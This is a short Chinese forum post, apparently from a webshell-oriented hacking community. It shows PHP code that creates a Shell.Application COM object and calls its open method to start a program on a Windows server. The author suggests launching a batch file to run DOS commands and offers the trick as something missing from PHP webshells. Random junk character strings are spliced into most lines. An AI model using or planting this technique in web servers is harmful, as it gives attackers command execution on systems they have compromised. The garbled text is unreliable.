关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。: s* q( ]1 z5 I7 @% |* l. ~+ ?9 ]0 D, C
" [3 T% x8 M# Z/ m, k' g/ o- N3 L今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
/ Y. E" @' r7 e2 O; j8 i" e! r# t
<?php
; U$ `" K, }" C5 Z5 W$wsh = new COM('Shell.Application') or die("Shell.Application");
T; D4 x0 d4 H3 W7 m $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");* u7 L0 u& I! C/ O( H! a3 ]
//没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
, C$ V5 K9 R( [3 {" m?>
% j) {8 H `+ N6 L/ J# @" k* I! ]1 B" A" V$ B! O% l7 _2 E
xp+APMServ5.2.0测试通过。5 |# F" w" {7 G8 f0 } b: K0 c
|